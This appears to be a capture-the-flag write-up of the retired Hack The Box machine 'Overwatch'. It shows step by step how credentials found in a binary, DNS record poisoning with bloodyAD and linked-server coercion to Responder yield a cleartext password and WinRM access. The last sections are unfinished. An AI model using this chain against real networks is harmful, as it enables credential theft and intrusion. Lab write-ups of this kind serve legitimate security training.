<- cd ../ (back to ~/writeups on the homepage)

[ writeup · case #016 ]

Overwatch

A connection string recovered from SQLite artifacts gives MSSQL access as sqlsvc; the server is linked to SQL07, and coercing that linked server to authenticate to Responder leaks the cleartext sqlmgmt password. sqlmgmt has WinRM access (Pwn3d!) for the user flag.

date
2026-01-24
read
1 min
tags
#htb #retired
platform
htb
os
windows
difficulty
medium

Summary


Enumeration

Port Scan

bash
rustscan --range 1-65535 -a <target> -- -A
text
PORT      STATE    SERVICE       REASON          VERSION
53/tcp    open     domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open     kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-04-07 18:10:09Z)
135/tcp   open     msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open     netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open     ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: overwatch.htb, Site: Default-First-Site-Name)
445/tcp   open     microsoft-ds? syn-ack ttl 127
464/tcp   open     kpasswd5?     syn-ack ttl 127
593/tcp   open     ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open     tcpwrapped    syn-ack ttl 127
3268/tcp  open     ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: overwatch.htb, Site: Default-First-Site-Name)
3269/tcp  open     tcpwrapped    syn-ack ttl 127
3389/tcp  open     ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
|_ssl-date: 2026-04-07T18:11:50+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: OVERWATCH
|   NetBIOS_Domain_Name: OVERWATCH
|   NetBIOS_Computer_Name: S200401
|   DNS_Domain_Name: overwatch.htb
|   DNS_Computer_Name: S200401.overwatch.htb
|   DNS_Tree_Name: overwatch.htb
|   Product_Version: 10.0.20348
|_  System_Time: 2026-04-07T18:11:11+00:00
| ssl-cert: Subject: commonName=S200401.overwatch.htb
| Issuer: commonName=S200401.overwatch.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-12-07T15:16:06
| Not valid after:  2026-06-08T15:16:06
| MD5:     0da8 f9a5 d788 e363 07b1 5f70 6524 ffcb
| SHA-1:   3287 c62d 4408 7fbb 4038 00b3 32fa da67 fb22 14bc
| SHA-256: b8ca 73a4 d338 1c57 3558 eec9 d8d1 9381 5b2d e30e 7945 ff69 0565 8935 84da f28a
| -----BEGIN CERTIFICATE-----
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| xlt1TwWNi2qGwnTfrO1Kag1P/Ky10JP3+X1r/KXb+71R3KwxCW/Bs9w6ZkCcwOLp
| [REDACTED:KEY]
|_-----END CERTIFICATE-----
5985/tcp  open     http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
6520/tcp  open     ms-sql-s      syn-ack ttl 127 Microsoft SQL Server 2022 16.00.1000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-07T18:06:51
| Not valid after:  2056-04-07T18:06:51
| MD5:     72cd 099c 004e 8090 0ac5 2a79 6bf0 f401
| SHA-1:   7c5a 34ae 17ef 5e2b 2f01 9a1e b70d 3103 318f 0cfd
| SHA-256: f35b 6bdc cc39 062e a61b 69dd 86af bcf1 ccde 402d c8ef e3e9 1515 4b6d 0367 4952
| -----BEGIN CERTIFICATE-----
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| xliybLGGaRUGu/EUw2ShKLbR8B8HSpPaB/RZi5TpPxrauxIBiX0Uqdm1/mHh2A+A
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
|_-----END CERTIFICATE-----
| ms-sql-info: 
|   [REDACTED:IP]:6520: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 6520
| ms-sql-ntlm-info: 
|   [REDACTED:IP]:6520: 
|     Target_Name: OVERWATCH
|     NetBIOS_Domain_Name: OVERWATCH
|     NetBIOS_Computer_Name: S200401
|     DNS_Domain_Name: overwatch.htb
	|     DNS_Computer_Name: S200401.overwatch.htb
|     DNS_Tree_Name: overwatch.htb
|_    Product_Version: 10.0.20348
|_ssl-date: 2026-04-07T18:11:50+00:00; 0s from scanner time.
9389/tcp  open     mc-nmf        syn-ack ttl 127 .NET Message Framing
49668/tcp open     msrpc         syn-ack ttl 127 Microsoft Windows RPC
55965/tcp filtered unknown       no-response
56793/tcp open     ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
56794/tcp open     msrpc         syn-ack ttl 127 Microsoft Windows RPC
56801/tcp open     msrpc         syn-ack ttl 127 Microsoft Windows RPC
56819/tcp open     msrpc         syn-ack ttl 127 Microsoft Windows RPC

Key findings:

  • Port xx — service — why it's interesting

Foothold

mssql enum

bash
❯ smbclient -N -L //[REDACTED:IP]

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        software$       Disk      # this was intersting so i decided to dig deeper
        SYSVOL          Disk      Logon server share 
bash
❯ smbclient -N //[REDACTED:IP]/software$
smb: \Monitoring\> ls
  .                                  DH        0  Sat May 17 01:32:43 2025
  ..                                 DH        0  Sat May 17 01:27:07 2025
  EntityFramework.dll                AH  4991352  Thu Apr 16 20:38:42 2020
  EntityFramework.SqlServer.dll      AH   591752  Thu Apr 16 20:38:56 2020
  EntityFramework.SqlServer.xml      AH   163193  Thu Apr 16 20:38:56 2020
  EntityFramework.xml                AH  3738289  Thu Apr 16 20:38:40 2020
  Microsoft.Management.Infrastructure.dll     AH    36864  Mon Jul 17 14:46:10 2017
  overwatch.exe                      AH     9728  Sat May 17 01:19:24 2025
  overwatch.exe.config               AH     2163  Sat May 17 01:02:30 2025
  overwatch.pdb                      AH    30208  Sat May 17 01:19:24 2025
  System.Data.SQLite.dll             AH   450232  Sun Sep 29 20:41:18 2024
  System.Data.SQLite.EF6.dll         AH   206520  Sun Sep 29 20:40:06 2024
  System.Data.SQLite.Linq.dll        AH   206520  Sun Sep 29 20:40:42 2024
  System.Data.SQLite.xml             AH  1245480  Sat Sep 28 18:48:00 2024
  System.Management.Automation.dll     AH   360448  Mon Jul 17 14:46:10 2017
  System.Management.Automation.xml     AH  7145771  Mon Jul 17 14:46:10 2017
  x64                                DH        0  Sat May 17 01:32:33 2025
  x86                                DH        0  Sat May 17 01:32:33 2025
bash
❯ strings overwatch.exe
!This program cannot be run in DOS mode.
.text

Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=[REDACTED:CRED];
bash
sqlsvc:[REDACTED:CRED]
bash
❯ nxc smb [REDACTED:IP] -u 'sqlsvc' -p '[REDACTED:CRED]' --shares
SMB         [REDACTED:IP]   445    S200401          [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         [REDACTED:IP]   445    S200401          [+] overwatch.htb\sqlsvc:[REDACTED:CRED] 
SMB         [REDACTED:IP]   445    S200401          [*] Enumerated shares
SMB         [REDACTED:IP]   445    S200401          Share           Permissions     Remark
SMB         [REDACTED:IP]   445    S200401          -----           -----------     ------
SMB         [REDACTED:IP]   445    S200401          ADMIN$                          Remote Admin
SMB         [REDACTED:IP]   445    S200401          C$                              Default share
SMB         [REDACTED:IP]   445    S200401          IPC$            READ            Remote IPC
SMB         [REDACTED:IP]   445    S200401          NETLOGON        READ            Logon server share 
SMB         [REDACTED:IP]   445    S200401          software$       READ            
SMB         [REDACTED:IP]   445    S200401          SYSVOL          READ            Logon server share
  • confirmed
bash
❯ nxc ldap [REDACTED:IP] -u 'sqlsvc' -p '[REDACTED:CRED]'
LDAP        [REDACTED:IP]   389    S200401          [*] Windows Server 2022 Build 20348 (name:S200401) (domain:overwatch.htb) (signing:None) (channel binding:No TLS cert)
LDAP        [REDACTED:IP]   389    S200401          [+] overwatch.htb\sqlsvc:[REDACTED:CRED] 
bash
❯ nxc rdp [REDACTED:IP] -u 'sqlsvc' -p '[REDACTED:CRED]'
RDP         [REDACTED:IP]   3389   S200401          [*] Windows 10 or Windows Server 2016 Build 20348 (name:S200401) (domain:overwatch.htb) (nla:True)
RDP         [REDACTED:IP]   3389   S200401          [+] overwatch.htb\sqlsvc:[REDACTED:CRED] 
bash
❯ impacket-mssqlclient sqlsvc:[REDACTED:CRED]@[REDACTED:IP] -windows-auth -p 6520
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (OVERWATCH\sqlsvc  guest@master)> 
  • default 3306 but this time it was forwarded to 6520
bash
SQL (OVERWATCH\sqlsvc  guest@master)> EXEC sp_linkedservers;
SRV_NAME             SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE       SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
------------------   ----------------   -----------   ------------------   ------------------   ------------   -------   
S200401\SQLEXPRESS   SQLNCLI            SQL Server    S200401\SQLEXPRESS   NULL                 NULL           NULL      
SQL07                SQLNCLI            SQL Server    SQL07                NULL                 NULL           NULL      

This SQL server is linked to another SQL server!

bash
❯ bloodyAD -d overwatch.htb -u sqlsvc -p '[REDACTED:CRED]' -H [REDACTED:IP] get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=overwatch,DC=htb
permission: WRITE

distinguishedName: CN=sqlsvc,CN=Users,DC=overwatch,DC=htb
permission: WRITE

distinguishedName: DC=overwatch.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=overwatch,DC=htb
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.overwatch.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=overwatch,DC=htb
permission: CREATE_CHILD
bash
❯ bloodyAD -d overwatch.htb -u sqlsvc -p '[REDACTED:CRED]' -H [REDACTED:IP] add dnsRecord SQL07 [REDACTED:IP]
[+] SQL07 has been successfully updated

SQL (OVERWATCH\sqlsvc  guest@master)> SELECT * FROM OPENQUERY(SQL07,'SELECT SYSTEM_USER');
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Communication link failure".
ERROR(MSOLEDBSQL): Line 0: TCP Provider: An existing connection was forcibly closed by the remote host.

SQL (OVERWATCH\sqlsvc  guest@master)> 

❯ sudo responder -I tun0  SQL -v

[MSSQL] Received connection from [REDACTED:IP]
[MSSQL] Cleartext Client   : [REDACTED:IP]
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : [REDACTED:CRED]
bash
sqlmgmt:[REDACTED:CRED]
bash
❯ nxc ldap [REDACTED:IP] -u sqlmgmt -p '[REDACTED:CRED]'
LDAP        [REDACTED:IP]   389    S200401          [*] Windows Server 2022 Build 20348 (name:S200401) (domain:overwatch.htb) (signing:None) (channel binding:No TLS cert)
LDAP        [REDACTED:IP]   389    S200401          [+] overwatch.htb\sqlmgmt:[REDACTED:CRED] 
❯ nxc winrm [REDACTED:IP] -u sqlmgmt -p '[REDACTED:CRED]'
WINRM       [REDACTED:IP]   5985   S200401          [*] Windows Server 2022 Build 20348 (name:S200401) (domain:overwatch.htb) 
WINRM       [REDACTED:IP]   5985   S200401          [+] overwatch.htb\sqlmgmt:[REDACTED:CRED] (Pwn3d!)
❯ nxc rdp [REDACTED:IP] -u sqlmgmt -p '[REDACTED:CRED]'
RDP         [REDACTED:IP]   3389   S200401          [*] Windows 10 or Windows Server 2016 Build 20348 (name:S200401) (domain:overwatch.htb) (nla:True)
RD
bash
*Evil-WinRM* PS /home/light\Desktop> cat user.txt
[REDACTED:HASH]

User Flag

bash
cat /home/light\Desktop\user.txt

Root Flag

bash
cat /home/light